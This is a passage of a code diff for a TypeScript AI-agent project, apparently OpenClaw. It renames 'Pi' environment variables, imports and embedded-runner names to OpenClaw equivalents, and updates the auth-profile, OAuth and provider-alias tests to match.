process.env.OPENCLAW_CACHE_RETENTION = "long"; try { const policy = resolveAnthropicPayloadPolicy({ provider: "anthropic", @@ -139,9 +139,9 @@ describe("anthropic payload policy", () => { expectShortEphemeralTextPayload(payload); } finally { if (previous === undefined) { - delete process.env.PI_CACHE_RETENTION; + delete process.env.OPENCLAW_CACHE_RETENTION; } else { - process.env.PI_CACHE_RETENTION = previous; + process.env.OPENCLAW_CACHE_RETENTION = previous; } } }); diff --git a/src/agents/anthropic-payload-policy.ts b/src/agents/anthropic-payload-policy.ts index 665a3343237..e52dd63bdcc 100644 --- a/src/agents/anthropic-payload-policy.ts +++ b/src/agents/anthropic-payload-policy.ts @@ -57,7 +57,7 @@ function resolveAnthropicEphemeralCacheControl( cacheRetention: AnthropicPayloadPolicyInput["cacheRetention"], ): AnthropicEphemeralCacheControl | undefined { const retention = - cacheRetention ?? (process.env.PI_CACHE_RETENTION === "long" ? "long" : "short"); + cacheRetention ?? (process.env.OPENCLAW_CACHE_RETENTION === "long" ? "long" : "short"); if (retention === "none") { return undefined; } diff --git a/src/agents/anthropic-transport-stream.live.test.ts b/src/agents/anthropic-transport-stream.live.test.ts index ebb52664290..a816be2e2e4 100644 --- a/src/agents/anthropic-transport-stream.live.test.ts +++ b/src/agents/anthropic-transport-stream.live.test.ts @@ -1,5 +1,5 @@ import http from "node:http"; -import type { Model } from "@earendil-works/pi-ai"; +import type { Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { createAnthropicMessagesTransportStreamFn } from "./anthropic-transport-stream.js"; import { isLiveTestEnabled } from "./live-test-helpers.js"; diff --git a/src/agents/anthropic-transport-stream.test.ts b/src/agents/anthropic-transport-stream.test.ts index 9cbe7a4ca58..de6ca673667 100644 --- a/src/agents/anthropic-transport-stream.test.ts +++ b/src/agents/anthropic-transport-stream.test.ts @@ -1,4 +1,4 @@ -import type { Model } from "@earendil-works/pi-ai"; +import type { Model } from "openclaw/plugin-sdk/llm"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { attachModelProviderRequestTransport } from "./provider-request-config.js"; diff --git a/src/agents/anthropic-transport-stream.ts b/src/agents/anthropic-transport-stream.ts index 012763662a6..378595d1b73 100644 --- a/src/agents/anthropic-transport-stream.ts +++ b/src/agents/anthropic-transport-stream.ts @@ -1,14 +1,8 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { - calculateCost, - getEnvApiKey, - parseStreamingJson, - type AnthropicOptions, - type Context, - type Model, - type SimpleStreamOptions, - type ThinkingLevel, -} from "@earendil-works/pi-ai"; +import { getEnvApiKey } from "../llm/env-api-keys.js"; +import { calculateCost } from "../llm/model-utils.js"; +import type { AnthropicOptions } from "../llm/providers/anthropic.js"; +import type { Context, Model, SimpleStreamOptions, ThinkingLevel } from "../llm/types.js"; +import { parseStreamingJson } from "../llm/utils/json-parse.js"; import { MALFORMED_STREAMING_FRAGMENT_ERROR_MESSAGE } from "../shared/assistant-error-format.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; import { @@ -19,6 +13,7 @@ import { buildCopilotDynamicHeaders, hasCopilotVisionInput } from "./copilot-dyn import { parseJsonObjectPreservingUnsafeIntegers } from "./json-unsafe-integers.js"; import { resolveProviderEndpoint } from "./provider-attribution.js"; import { buildGuardedModelFetch } from "./provider-transport-fetch.js"; +import type { StreamFn } from "./runtime/index.js"; import { transformTransportMessages } from "./transport-message-transform.js"; import { coerceTransportToolCallArguments, diff --git a/src/agents/anthropic-vertex-stream.ts b/src/agents/anthropic-vertex-stream.ts index c1fc2263bab..30bd21eca67 100644 --- a/src/agents/anthropic-vertex-stream.ts +++ b/src/agents/anthropic-vertex-stream.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; import { loadBundledPluginPublicSurfaceModuleSync } from "../plugin-sdk/facade-runtime.js"; +import type { StreamFn } from "./runtime/index.js"; type AnthropicVertexStreamFacade = { createAnthropicVertexStreamFn: ( diff --git a/src/agents/anthropic.setup-token.live.test.ts b/src/agents/anthropic.setup-token.live.test.ts index 429d9151aaf..73a61eb5cc0 100644 --- a/src/agents/anthropic.setup-token.live.test.ts +++ b/src/agents/anthropic.setup-token.live.test.ts @@ -2,13 +2,14 @@ import { randomUUID } from "node:crypto"; import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { type Api, completeSimple, type Model } from "@earendil-works/pi-ai"; +import { type Api, completeSimple, type Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { ANTHROPIC_SETUP_TOKEN_PREFIX, validateAnthropicSetupToken, } from "../commands/auth-token.js"; import { getRuntimeConfig } from "../config/config.js"; +import { discoverAuthStorage, discoverModels } from "./agent-model-discovery.js"; import { resolveDefaultAgentDir } from "./agent-scope.js"; import { type AuthProfileCredential, @@ -19,7 +20,6 @@ import { isLiveTestEnabled } from "./live-test-helpers.js"; import { getApiKeyForModel, requireApiKey } from "./model-auth.js"; import { normalizeProviderId, parseModelRef } from "./model-selection.js"; import { ensureOpenClawModelsJson } from "./models-config.js"; -import { discoverAuthStorage, discoverModels } from "./pi-model-discovery.js"; const LIVE = isLiveTestEnabled(); const SETUP_TOKEN_RAW = process.env.OPENCLAW_LIVE_SETUP_TOKEN?.trim() ?? ""; @@ -125,7 +125,7 @@ async function resolveTokenSource(): Promise { return { agentDir, profileId: pickSetupTokenProfile(candidates) }; } -function pickModel(models: Array>, raw?: string): Model | null { +function pickModel(models: Array, raw?: string): Model | null { const normalized = raw?.trim() ?? ""; if (normalized) { const parsed = parseModelRef(normalized, "anthropic"); @@ -156,8 +156,8 @@ function pickModel(models: Array>, raw?: string): Model | null { return models[0] ?? null; } -function buildTestModel(id: string, provider = "anthropic"): Model { - return { id, provider } as Model; +function buildTestModel(id: string, provider = "anthropic"): Model { + return { id, provider } as Model; } describe("pickModel", () => { @@ -192,7 +192,7 @@ describeLive("live anthropic setup-token", () => { const all = Array.isArray(modelRegistry) ? modelRegistry : modelRegistry.getAll(); const candidates = all.filter( (model) => normalizeProviderId(model.provider) === "anthropic", - ) as Array>; + ) as Array; expect(candidates.length).toBeGreaterThan(0); const model = pickModel(candidates, SETUP_TOKEN_MODEL); diff --git a/src/agents/apply-patch.ts b/src/agents/apply-patch.ts index ab48b2769cc..0b1b2730945 100644 --- a/src/agents/apply-patch.ts +++ b/src/agents/apply-patch.ts @@ -1,13 +1,13 @@ import syncFs from "node:fs"; import fs from "node:fs/promises"; import path from "node:path"; -import type { AgentTool } from "@earendil-works/pi-agent-core"; import { Type } from "typebox"; import { openRootFile, type RootFileOpenResult } from "../infra/boundary-file-read.js"; import { root as fsRoot } from "../infra/fs-safe.js"; import { PATH_ALIAS_POLICIES, type PathAliasPolicy } from "../infra/path-alias-guards.js"; import { applyUpdateHunk } from "./apply-patch-update.js"; import { toRelativeSandboxPath, resolvePathFromInput } from "./path-policy.js"; +import type { AgentTool } from "./runtime/index.js"; import { assertSandboxPath } from "./sandbox-paths.js"; import type { SandboxFsBridge } from "./sandbox/fs-bridge.js"; diff --git a/src/agents/auth-health.test.ts b/src/agents/auth-health.test.ts index f229a12995e..3b416545904 100644 --- a/src/agents/auth-health.test.ts +++ b/src/agents/auth-health.test.ts @@ -376,7 +376,7 @@ describe("buildAuthHealthSummary", () => { expect(reasonCodes["github-copilot:invalid-expires"]).toBe("invalid_expires"); }); - it("normalizes provider aliases when filtering and grouping profile health", () => { + it("does not normalize provider aliases when filtering and grouping profile health", () => { vi.spyOn(Date, "now").mockReturnValue(now); const store = { version: 1, @@ -399,16 +399,13 @@ describe("buildAuthHealthSummary", () => { providers: ["zai"], }); - expect(summary.profiles.map((profile) => [profile.profileId, profile.provider])).toEqual([ - ["zai:dash", "zai"], - ["zai:dot", "zai"], - ]); + expect(summary.profiles).toEqual([]); expect(summary.providers).toEqual([ { provider: "zai", - status: "static", - effectiveProfiles: summary.profiles, - profiles: summary.profiles, + status: "missing", + effectiveProfiles: [], + profiles: [], }, ]); }); diff --git a/src/agents/auth-profile-runtime-contract.test.ts b/src/agents/auth-profile-runtime-contract.test.ts index ccc2e2373eb..15c647edd0b 100644 --- a/src/agents/auth-profile-runtime-contract.test.ts +++ b/src/agents/auth-profile-runtime-contract.test.ts @@ -11,8 +11,8 @@ import type { SessionEntry } from "../config/sessions.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type * as ManifestRegistryModule from "../plugins/manifest-registry.js"; import { runAgentAttempt } from "./command/attempt-execution.js"; -import type { RunEmbeddedPiAgentParams } from "./pi-embedded-runner/run/params.js"; -import type { EmbeddedPiRunResult } from "./pi-embedded.js"; +import type { RunEmbeddedAgentParams } from "./embedded-agent-runner/run/params.js"; +import type { EmbeddedAgentRunResult } from "./embedded-agent.js"; import { resolveProviderIdForAuth } from "./provider-auth-aliases.js"; type LoadPluginManifestRegistry = typeof ManifestRegistryModule.loadPluginManifestRegistry; @@ -24,7 +24,7 @@ const loadPluginManifestRegistry = vi.hoisted(() => })), ); const runCliAgentMock = vi.hoisted(() => vi.fn()); -const runEmbeddedPiAgentMock = vi.hoisted(() => vi.fn()); +const runEmbeddedAgentMock = vi.hoisted(() => vi.fn()); vi.mock("../plugins/manifest-registry.js", async (importOriginal) => { const actual = await importOriginal(); @@ -65,8 +65,8 @@ vi.mock("./model-selection.js", () => ({ normalizeProviderId: (provider: string) => provider.trim().toLowerCase(), })); -vi.mock("./pi-embedded.js", () => ({ - runEmbeddedPiAgent: runEmbeddedPiAgentMock, +vi.mock("./embedded-agent.js", () => ({ + runEmbeddedAgent: runEmbeddedAgentMock, })); function mockCallArg( @@ -85,12 +85,12 @@ function capturedCliRunParams(): { authProfileId?: string } { return mockCallArg(runCliAgentMock) as { authProfileId?: string }; } -function capturedEmbeddedRunParams(): RunEmbeddedPiAgentParams { - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); - return mockCallArg(runEmbeddedPiAgentMock) as RunEmbeddedPiAgentParams; +function capturedEmbeddedRunParams(): RunEmbeddedAgentParams { + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(1); + return mockCallArg(runEmbeddedAgentMock) as RunEmbeddedAgentParams; } -function makeCliResult(text: string): EmbeddedPiRunResult { +function makeCliResult(text: string): EmbeddedAgentRunResult { return { payloads: [{ text }], meta: { @@ -118,7 +118,7 @@ function makeCliResult(text: string): EmbeddedPiRunResult { }; } -function makeEmbeddedResult(text: string): EmbeddedPiRunResult { +function makeEmbeddedResult(text: string): EmbeddedAgentRunResult { return { payloads: [{ text }], meta: { @@ -219,7 +219,7 @@ async function runAuthContractAttempt(params: { }; } -describe("Auth profile runtime contract - Pi and CLI adapter", () => { +describe("Auth profile runtime contract - embedded OpenClaw and CLI adapter", () => { let tmpDir: string; let storePath: string; @@ -228,9 +228,9 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { storePath = path.join(tmpDir, "sessions.json"); loadPluginManifestRegistry.mockReset().mockReturnValue(createAuthAliasManifestRegistry()); runCliAgentMock.mockReset(); - runEmbeddedPiAgentMock.mockReset(); + runEmbeddedAgentMock.mockReset(); runCliAgentMock.mockResolvedValue(makeCliResult("ok")); - runEmbeddedPiAgentMock.mockResolvedValue(makeEmbeddedResult("ok")); + runEmbeddedAgentMock.mockResolvedValue(makeEmbeddedResult("ok")); }); afterEach(async () => { @@ -348,7 +348,7 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { expect(capturedCliRunParams().authProfileId).toBeUndefined(); }); - it("forwards an OpenAI Codex auth profile through the embedded Pi path", async () => { + it("forwards an OpenAI Codex auth profile through the embedded OpenClaw path", async () => { await runAuthContractAttempt({ tmpDir, storePath, @@ -381,14 +381,14 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { ); }); - it("forwards an OpenAI auth profile through the explicit embedded OpenAI PI path", async () => { + it("forwards an OpenAI auth profile through the explicit embedded OpenAI OpenClaw path", async () => { await runAuthContractAttempt({ tmpDir, storePath, providerOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProfileId, - cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, "pi"), + cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, "openclaw"), }); const params = capturedEmbeddedRunParams(); @@ -410,14 +410,14 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { ); }); - it("routes explicit OpenAI PI runs with Codex OAuth through OpenAI Codex transport", async () => { + it("routes explicit OpenAI OpenClaw runs with Codex OAuth through OpenAI Codex transport", async () => { await runAuthContractAttempt({ tmpDir, storePath, providerOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, - cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, "pi"), + cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, "openclaw"), }); const params = capturedEmbeddedRunParams(); diff --git a/src/agents/auth-profiles.ensureauthprofilestore.test.ts b/src/agents/auth-profiles.ensureauthprofilestore.test.ts index d7dfc1ca836..1f33faecfc6 100644 --- a/src/agents/auth-profiles.ensureauthprofilestore.test.ts +++ b/src/agents/auth-profiles.ensureauthprofilestore.test.ts @@ -109,13 +109,11 @@ describe("ensureAuthProfileStore", () => { function restoreAgentDirEnv(params: { previousStateDir?: string | undefined; previousAgentDir: string | undefined; - previousPiAgentDir: string | undefined; }): void { if ("previousStateDir" in params) { restoreEnvValue("OPENCLAW_STATE_DIR", params.previousStateDir); } restoreEnvValue("OPENCLAW_AGENT_DIR", params.previousAgentDir); - restoreEnvValue("PI_CODING_AGENT_DIR", params.previousPiAgentDir); } function configureMainAuthTestDirs(root: string): { @@ -123,11 +121,9 @@ describe("ensureAuthProfileStore", () => { agentDir: string; previousStateDir: string | undefined; previousAgentDir: string | undefined; - previousPiAgentDir: string | undefined; } { const previousStateDir = process.env.OPENCLAW_STATE_DIR; const previousAgentDir = process.env.OPENCLAW_AGENT_DIR; - const previousPiAgentDir = process.env.PI_CODING_AGENT_DIR; const mainDir = path.join(root, "agents", "main", "agent"); const agentDir = path.join(root, "agents", "agent-x", "agent"); fs.mkdirSync(mainDir, { recursive: true }); @@ -135,9 +131,8 @@ describe("ensureAuthProfileStore", () => { process.env.OPENCLAW_STATE_DIR = root; process.env.OPENCLAW_AGENT_DIR = mainDir; - process.env.PI_CODING_AGENT_DIR = mainDir; clearRuntimeAuthProfileStoreSnapshots(); - return { mainDir, agentDir, previousStateDir, previousAgentDir, previousPiAgentDir }; + return { mainDir, agentDir, previousStateDir, previousAgentDir }; } function expectApiKeyProfile( @@ -251,7 +246,7 @@ describe("ensureAuthProfileStore", () => { it("merges main auth profiles into agent store and keeps agent overrides", () => { const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-merge-")); - const { mainDir, agentDir, previousStateDir, previousAgentDir, previousPiAgentDir } = + const { mainDir, agentDir, previousStateDir, previousAgentDir } = configureMainAuthTestDirs(root); try { const mainStore = { @@ -303,14 +298,14 @@ describe("ensureAuthProfileStore", () => { key: "agent-key", }); } finally { - restoreAgentDirEnv({ previousStateDir, previousAgentDir, previousPiAgentDir }); + restoreAgentDirEnv({ previousStateDir, previousAgentDir }); fs.rmSync(root, { recursive: true, force: true }); } }); it("uses the main agent's newer OAuth profile when an agent still has a stale default profile", () => { const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-drift-")); - const { mainDir, agentDir, previousStateDir, previousAgentDir, previousPiAgentDir } = + const { mainDir, agentDir, previousStateDir, previousAgentDir } = configureMainAuthTestDirs(root); try { const freshProfileId = "openai-codex:user@example.com"; @@ -393,14 +388,14 @@ describe("ensureAuthProfileStore", () => { ) as { profiles: Record }; expect(persistedAgentStore.profiles).toHaveProperty(staleProfileId); } finally { - restoreAgentDirEnv({ previousStateDir, previousAgentDir, previousPiAgentDir }); + restoreAgentDirEnv({ previousStateDir, previousAgentDir }); fs.rmSync(root, { recursive: true, force: true }); } }); it("keeps a newer agent replacement credential while repairing stale default references", () => { const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-drift-newer-agent-")); - const { mainDir, agentDir, previousStateDir, previousAgentDir, previousPiAgentDir } = + const { mainDir, agentDir, previousStateDir, previousAgentDir } = configureMainAuthTestDirs(root); try { const freshProfileId = "openai-codex:user@example.com"; @@ -468,14 +463,14 @@ describe("ensureAuthProfileStore", () => { expect(store.order?.["openai-codex"]).toEqual([freshProfileId]); expect(store.lastGood?.["openai-codex"]).toBe(freshProfileId); } finally { - restoreAgentDirEnv({ previousStateDir, previousAgentDir, previousPiAgentDir }); + restoreAgentDirEnv({ previousStateDir, previousAgentDir }); fs.rmSync(root, { recursive: true, force: true }); } }); it("preserves a valid main default OAuth profile while replacing a stale agent override", () => { const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-drift-base-default-")); - const { mainDir, agentDir, previousStateDir, previousAgentDir, previousPiAgentDir } = + const { mainDir, agentDir, previousStateDir, previousAgentDir } = configureMainAuthTestDirs(root); try { const freshProfileId = "openai-codex:user@example.com"; @@ -549,14 +544,14 @@ describe("ensureAuthProfileStore", () => { lastUsed: 123, }); } finally { - restoreAgentDirEnv({ previousStateDir, previousAgentDir, previousPiAgentDir }); + restoreAgentDirEnv({ previousStateDir, previousAgentDir }); fs.rmSync(root, { recursive: true, force: true }); } }); it("keeps a stale default OAuth profile when the main profile belongs to a different identity", () => { const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-drift-mismatch-")); - const { mainDir, agentDir, previousStateDir, previousAgentDir, previousPiAgentDir } = + const { mainDir, agentDir, previousStateDir, previousAgentDir } = configureMainAuthTestDirs(root); try { const freshProfileId = "openai-codex:user@example.com"; @@ -612,14 +607,14 @@ describe("ensureAuthProfileStore", () => { expect(store.order?.["openai-codex"]).toEqual([staleProfileId]); expect(store.lastGood?.["openai-codex"]).toBe(staleProfileId); } finally { - restoreAgentDirEnv({ previousStateDir, previousAgentDir, previousPiAgentDir }); + restoreAgentDirEnv({ previousStateDir, previousAgentDir }); fs.rmSync(root, { recursive: true, force: true }); } }); it("rewrites invalidated per-agent Codex order to the main agent's healthy relogin profile", () => { const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-codex-relogin-")); - const { mainDir, agentDir, previousStateDir, previousAgentDir, previousPiAgentDir } = + const { mainDir, agentDir, previousStateDir, previousAgentDir } = configureMainAuthTestDirs(root); try { const now = Date.now(); @@ -692,7 +687,7 @@ describe("ensureAuthProfileStore", () => { expect(store.lastGood?.["openai-codex"]).toBe(healthyProfileId); expect(store.usageStats?.[staleProfileId]).toBeUndefined(); } finally { - restoreAgentDirEnv({ previousStateDir, previousAgentDir, previousPiAgentDir }); + restoreAgentDirEnv({ previousStateDir, previousAgentDir }); fs.rmSync(root, { recursive: true, force: true }); } }); @@ -822,7 +817,6 @@ describe("ensureAuthProfileStore", () => { const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-oauth-migrate-")); const previousStateDir = process.env.OPENCLAW_STATE_DIR; const previousAgentDir = process.env.OPENCLAW_AGENT_DIR; - const previousPiAgentDir = process.env.PI_CODING_AGENT_DIR; try { const agentDir = path.join(root, "agent"); const oauthDir = path.join(root, "credentials"); @@ -847,7 +841,6 @@ describe("ensureAuthProfileStore", () => { process.env.OPENCLAW_STATE_DIR = root; process.env.OPENCLAW_AGENT_DIR = agentDir; - process.env.PI_CODING_AGENT_DIR = agentDir; clearRuntimeAuthProfileStoreSnapshots(); const store = ensureAuthProfileStore(agentDir); @@ -873,7 +866,7 @@ describe("ensureAuthProfileStore", () => { } finally { clearRuntimeAuthProfileStoreSnapshots(); restoreEnvValue("OPENCLAW_STATE_DIR", previousStateDir); - restoreAgentDirEnv({ previousAgentDir, previousPiAgentDir }); + restoreAgentDirEnv({ previousAgentDir }); fs.rmSync(root, { recursive: true, force: true }); } }); @@ -881,7 +874,6 @@ describe("ensureAuthProfileStore", () => { it("exposes provider-managed runtime auth without persisting copied tokens", () => { const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-external-auth-")); const previousAgentDir = process.env.OPENCLAW_AGENT_DIR; - const previousPiAgentDir = process.env.PI_CODING_AGENT_DIR; try { const agentDir = path.join(root, "agent"); fs.mkdirSync(agentDir, { recursive: true }); @@ -901,7 +893,6 @@ describe("ensureAuthProfileStore", () => { ]); process.env.OPENCLAW_AGENT_DIR = agentDir; - process.env.PI_CODING_AGENT_DIR = agentDir; clearRuntimeAuthProfileStoreSnapshots(); const store = ensureAuthProfileStore(agentDir); @@ -915,7 +906,7 @@ describe("ensureAuthProfileStore", () => { expect(fs.existsSync(path.join(agentDir, "auth-profiles.json"))).toBe(false); } finally { clearRuntimeAuthProfileStoreSnapshots(); - restoreAgentDirEnv({ previousAgentDir, previousPiAgentDir }); + restoreAgentDirEnv({ previousAgentDir }); fs.rmSync(root, { recursive: true, force: true }); } }); diff --git a/src/agents/auth-profiles.external-cli-scope.test.ts b/src/agents/auth-profiles.external-cli-scope.test.ts index 81172010736..2fd9a337326 100644 --- a/src/agents/auth-profiles.external-cli-scope.test.ts +++ b/src/agents/auth-profiles.external-cli-scope.test.ts @@ -81,7 +81,6 @@ describe("external CLI auth scope", () => { "openai-codex", "opencode-go", "z.ai", - "zai", ]); expect(scope?.providerIds).not.toContain("claude-cli"); expect(scope?.profileIds).toContain("openai-codex:default"); diff --git a/src/agents/auth-profiles.resolve-auth-profile-order.does-not-prioritize-lastgood-round-robin-ordering.test.ts b/src/agents/auth-profiles.resolve-auth-profile-order.does-not-prioritize-lastgood-round-robin-ordering.test.ts index 41b134b94eb..b0c296f651d 100644 --- a/src/agents/auth-profiles.resolve-auth-profile-order.does-not-prioritize-lastgood-round-robin-ordering.test.ts +++ b/src/agents/auth-profiles.resolve-auth-profile-order.does-not-prioritize-lastgood-round-robin-ordering.test.ts @@ -7,8 +7,7 @@ import { resolveAuthProfileOrder } from "./auth-profiles/order.js"; import type { AuthProfileStore } from "./auth-profiles/types.js"; vi.mock("./provider-auth-aliases.js", () => ({ - resolveProviderIdForAuth: (provider: string) => - provider.trim().toLowerCase() === "z.ai" ? "zai" : provider.trim().toLowerCase(), + resolveProviderIdForAuth: (provider: string) => provider.trim().toLowerCase(), })); function makeApiKeyStore(provider: string, profileIds: string[]): AuthProfileStore { @@ -168,7 +167,7 @@ describe("resolveAuthProfileOrder", () => { }); expect(order[0]).toBe("anthropic:default"); }); - it("normalizes z.ai aliases in auth.order", () => { + it("does not match auth.order across provider id variants", () => { const order = resolveAuthProfileOrder({ cfg: { auth: { @@ -182,7 +181,7 @@ describe("resolveAuthProfileOrder", () => { store: makeApiKeyStore("zai", ["zai:default", "zai:work"]), provider: "zai", }); - expect(order).toEqual(["zai:work", "zai:default"]); + expect(order).toEqual(["zai:default", "zai:work"]); }); it("normalizes provider casing in auth.order keys", () => { const order = resolveAuthProfileOrder({ @@ -200,7 +199,7 @@ describe("resolveAuthProfileOrder", () => { }); expect(order).toEqual(["openai:work", "openai:default"]); }); - it("normalizes z.ai aliases in auth.profiles", () => { + it("does not match provider id variants in auth.profiles", () => { const order = resolveAuthProfileOrder({ cfg: { auth: { @@ -213,7 +212,7 @@ describe("resolveAuthProfileOrder", () => { store: makeApiKeyStore("zai", ["zai:default", "zai:work"]), provider: "zai", }); - expect(order).toEqual(["zai:default", "zai:work"]); + expect(order).toEqual([]); }); it("prioritizes oauth profiles when order missing", () => { const mixedStore: AuthProfileStore = { diff --git a/src/agents/auth-profiles.store-cache.test.ts b/src/agents/auth-profiles.store-cache.test.ts index ca85d6d8754..8014c6f68a4 100644 --- a/src/agents/auth-profiles.store-cache.test.ts +++ b/src/agents/auth-profiles.store-cache.test.ts @@ -33,10 +33,8 @@ vi.mock("../plugins/provider-runtime.js", () => ({ async function withAgentDirEnv(prefix: string, run: (agentDir: string) => void | Promise) { const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), prefix)); const previousAgentDir = process.env.OPENCLAW_AGENT_DIR; - const previousPiAgentDir = process.env.PI_CODING_AGENT_DIR; try { process.env.OPENCLAW_AGENT_DIR = agentDir; - process.env.PI_CODING_AGENT_DIR = agentDir; await run(agentDir); } finally { if (previousAgentDir === undefined) { @@ -44,11 +42,6 @@ async function withAgentDirEnv(prefix: string, run: (agentDir: string) => void | } else { process.env.OPENCLAW_AGENT_DIR = previousAgentDir; } - if (previousPiAgentDir === undefined) { - delete process.env.PI_CODING_AGENT_DIR; - } else { - process.env.PI_CODING_AGENT_DIR = previousPiAgentDir; - } fs.rmSync(agentDir, { recursive: true, force: true }); } } diff --git a/src/agents/auth-profiles/oauth-manager.test.ts b/src/agents/auth-profiles/oauth-manager.test.ts index 18106697931..8e0b215da71 100644 --- a/src/agents/auth-profiles/oauth-manager.test.ts +++ b/src/agents/auth-profiles/oauth-manager.test.ts @@ -39,7 +39,6 @@ const tempDirs: string[] = []; const envSnapshot = captureEnv([ "OPENCLAW_STATE_DIR", "OPENCLAW_AGENT_DIR", - "PI_CODING_AGENT_DIR", "OPENCLAW_OAUTH_DIR", "OPENCLAW_AUTH_PROFILE_SECRET_KEY", ]); @@ -313,7 +312,6 @@ describe("createOAuthManager", () => { const mainAgentDir = path.join(tempRoot, "agents", "main", "agent"); const agentDir = path.join(tempRoot, "agents", "sub", "agent"); process.env.OPENCLAW_AGENT_DIR = mainAgentDir; - process.env.PI_CODING_AGENT_DIR = mainAgentDir; await fs.mkdir(agentDir, { recursive: true }); await fs.mkdir(mainAgentDir, { recursive: true }); @@ -400,7 +398,6 @@ describe("createOAuthManager", () => { const mainAgentDir = path.join(tempRoot, "agents", "main", "agent"); const agentDir = path.join(tempRoot, "agents", "sub", "agent"); process.env.OPENCLAW_AGENT_DIR = mainAgentDir; - process.env.PI_CODING_AGENT_DIR = mainAgentDir; await fs.mkdir(agentDir, { recursive: true }); await fs.mkdir(mainAgentDir, { recursive: true }); const profileId = "minimax-portal:default"; diff --git a/src/agents/auth-profiles/oauth-refresh-queue.test.ts b/src/agents/auth-profiles/oauth-refresh-queue.test.ts index d95c8b1c85b..253e5690aab 100644 --- a/src/agents/auth-profiles/oauth-refresh-queue.test.ts +++ b/src/agents/auth-profiles/oauth-refresh-queue.test.ts @@ -26,7 +26,7 @@ const { formatProviderAuthProfileApiKeyWithPluginMock, } = getOAuthProviderRuntimeMocks(); -vi.mock("@earendil-works/pi-ai/oauth", () => ({ +vi.mock("../../llm/oauth.js", () => ({ getOAuthApiKey: vi.fn(async () => null), getOAuthProviders: () => [{ id: "openai-codex" }], })); diff --git a/src/agents/auth-profiles/oauth-test-utils.ts b/src/agents/auth-profiles/oauth-test-utils.ts index cbed1f4fc46..c3fb457d309 100644 --- a/src/agents/auth-profiles/oauth-test-utils.ts +++ b/src/agents/auth-profiles/oauth-test-utils.ts @@ -4,11 +4,7 @@ import path from "node:path"; import type { resolveApiKeyForProfile } from "./oauth.js"; import type { AuthProfileStore, OAuthCredential } from "./types.js"; -export const OAUTH_AGENT_ENV_KEYS = [ - "OPENCLAW_STATE_DIR", - "OPENCLAW_AGENT_DIR", - "PI_CODING_AGENT_DIR", -]; +export const OAUTH_AGENT_ENV_KEYS = ["OPENCLAW_STATE_DIR", "OPENCLAW_AGENT_DIR"]; export function resolveApiKeyForProfileInTest( resolver: typeof resolveApiKeyForProfile, @@ -64,7 +60,6 @@ export async function createOAuthMainAgentDir(stateDir: string): Promise const agentDir = path.join(stateDir, "agents", "main", "agent"); process.env.OPENCLAW_STATE_DIR = stateDir; process.env.OPENCLAW_AGENT_DIR = agentDir; - process.env.PI_CODING_AGENT_DIR = agentDir; await fs.mkdir(agentDir, { recursive: true }); return agentDir; } diff --git a/src/agents/auth-profiles/oauth.adopt-identity.test.ts b/src/agents/auth-profiles/oauth.adopt-identity.test.ts index 4f7b45c7749..14a326b0c09 100644 --- a/src/agents/auth-profiles/oauth.adopt-identity.test.ts +++ b/src/agents/auth-profiles/oauth.adopt-identity.test.ts @@ -45,7 +45,7 @@ function expectPersistedOpenAICodexProfile( // sub-agent store. Unit tests cover policy variants; this suite proves each // production branch refuses a mismatched accountId. -vi.mock("@earendil-works/pi-ai/oauth", () => ({ +vi.mock("../../llm/oauth.js", () => ({ getOAuthApiKey: vi.fn(async () => null), getOAuthProviders: () => [{ id: "openai-codex" }, { id: "anthropic" }], })); diff --git a/src/agents/auth-profiles/oauth.concurrent-agents.test.ts b/src/agents/auth-profiles/oauth.concurrent-agents.test.ts index c93a77db6db..e5b86057610 100644 --- a/src/agents/auth-profiles/oauth.concurrent-agents.test.ts +++ b/src/agents/auth-profiles/oauth.concurrent-agents.test.ts @@ -32,7 +32,7 @@ async function loadOAuthModuleForTest() { ({ resolveApiKeyForProfile, resetOAuthRefreshQueuesForTest } = await import("./oauth.js")); } -vi.mock("@earendil-works/pi-ai/oauth", () => ({ +vi.mock("../../llm/oauth.js", () => ({ getOAuthApiKey: vi.fn(async () => null), getOAuthProviders: () => [{ id: "openai-codex" }], })); diff --git a/src/agents/auth-profiles/oauth.fallback-to-main-agent.test.ts b/src/agents/auth-profiles/oauth.fallback-to-main-agent.test.ts index 436016a4bcb..82ed0633a5f 100644 --- a/src/agents/auth-profiles/oauth.fallback-to-main-agent.test.ts +++ b/src/agents/auth-profiles/oauth.fallback-to-main-agent.test.ts @@ -13,7 +13,7 @@ 